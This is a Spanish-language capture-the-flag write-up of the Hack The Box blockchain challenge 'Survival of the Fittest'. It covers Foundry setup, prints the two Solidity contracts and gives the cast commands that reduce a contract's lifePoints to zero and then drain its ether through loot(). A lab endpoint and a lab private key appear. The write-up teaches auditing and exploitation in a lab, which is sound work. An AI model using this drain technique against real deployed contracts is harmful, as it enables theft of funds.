Introducción
Survival of the Fittest es un desafío de dificultad fácil dentro de la categoría Blockchain en Hack The Box. En este reto nos enfrentamos a una aplicación web que despliega una red local privada basada en Ethereum.
El objetivo principal es auditar el código fuente de los contratos para identificar vulnerabilidades o faltas de validación en la lógica de negocio, lo que nos permitirá interactuar directamente con la blockchain para superar el reto.
A lo largo de esta guía aprenderemos a configurar el entorno de herramientas con Foundry en Kali Linux y a ejecutar llamadas de estado directamente desde la terminal.
Preparación del laboratorio
Instalar foundryup en Kali Linux
Primero, abrimos la terminal en Kali Linux y ejecutamos el script de instalación oficial:
curl -L https://foundry.paradigm.xyz | bash
A continuación, añadimos la ruta de Foundry a nuestro archivo de configuración para tener los comandos a mano:
echo 'export PATH="$HOME/.foundry/bin:$PATH"' >> ~/.zshrc
Recargamos la configuración de Zsh para aplicar los cambios:
source ~/.zshrc
Y ya podemos ejecutar foundryup.
Contenido del reto
Al entrar en la aplicación web, podemos observar tres apartados principales: Home (Inicio), Docs (README - Documentación) y Connection (Datos de conexión).

IMPORTANTE. En la documentación (README) podemos revisar cómo interactuar con la red del reto.
Además de la interfaz web, el reto nos facilita dos contratos en Solidity:
Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
Análisis del código
Para entender este reto, lo primero que vamos a hacer es analizar cómo interactúan estos dos contratos entre sí y cuál es la condición para ganar.
El contrato Setup.sol establece la regla de victoria en la función isSolved():
// Setup.sol
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
Para lograr que el balance de la criatura sea 0, debemos drenar su ether usando la función loot() en Creature.sol.
// Creature.sol
function loot() external {
// Deja continuar si lifePoints es 0
require(lifePoints == 0, "Creature is still alive!");
// Transfiere todo el ether del contrato a quien llamó a la función
payable(msg.sender).transfer(address(this).balance);
}
Cuando el contrato se crea, empieza con lifePoints = 20. Necesitas reducir ese valor a cero.
Revisando cómo modificar lifePoints vemos que la función strongAttack permite pasarle la cantidad de daño sin restricciones:
// Creature.sol
function strongAttack(uint256 _damage) external {
_dealDamage(_damage);
}
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
¿Por qué no le metemos un mamporro de 99 de daño y terminamos rápido?
En Solidity v0.8.13, si restas un número mayor al valor actual de un entero sin signo (uint), se produce un error de desbordamiento (underflow) y la EVM (Ethereum Virtual Machine) cancela la transacción de inmediato.
Por lo tanto, si enviamos strongAttack(20), la resta calcula $20 - 20 = 0$ y se procesa correctamente la transacción.
Explotación
Obtenemos primero los datos del endpoint /connection en la web y los definimos en la terminal:
export RPC_URL="http://154.57.164.67:32048/rpc"
export PRIVATE_KEY="0x2ff7f5efb7143844aa6003ca788e03af9169e8c3ec0dc19a1d9a3937a82a638d"
export ADDRESS_TARGET="0x575AC9b72461290aD22ead9DB67829223C5b4420"
export ADDRESS_SETUP="0xd1DD3F91f17E98353874106871AbB54FC77e66E2"
Ejecutar strongAttack(20)
Llamamos a la función strongAttack enviando el valor 20 como argumento. Al ser una función que modifica el estado del contrato, usamos cast send:
cast send $ADDRESS_TARGET "strongAttack(uint256)" 20 --rpc-url $RPC_URL --private-key $PRIVATE_KEY

Ejecutar loot()
Una vez que la vida de la criatura es 0, invocamos loot() para reclamar el ether acumulado:
cast send $ADDRESS_TARGET "loot()" --rpc-url $RPC_URL --private-key $PRIVATE_KEY

Consultarmos estado de la condición de victoria
cast call $ADDRESS_SETUP "isSolved()" --rpc-url $RPC_URL
Si devuelve 0x000...01, el reto ha sido superado.
Un detalle técnico: Ethereum responde siempre en bloques fijos de 32 bytes (64 caracteres hexadecimales) para organizar su memoria. Como el valor booleano true equivale al número 1, la máquina virtual rellena todo el espacio sobrante a la izquierda con ceros, dando como resultado
0x000...01.
Reclamar la Flag
curl http://154.57.164.67:32048/flag
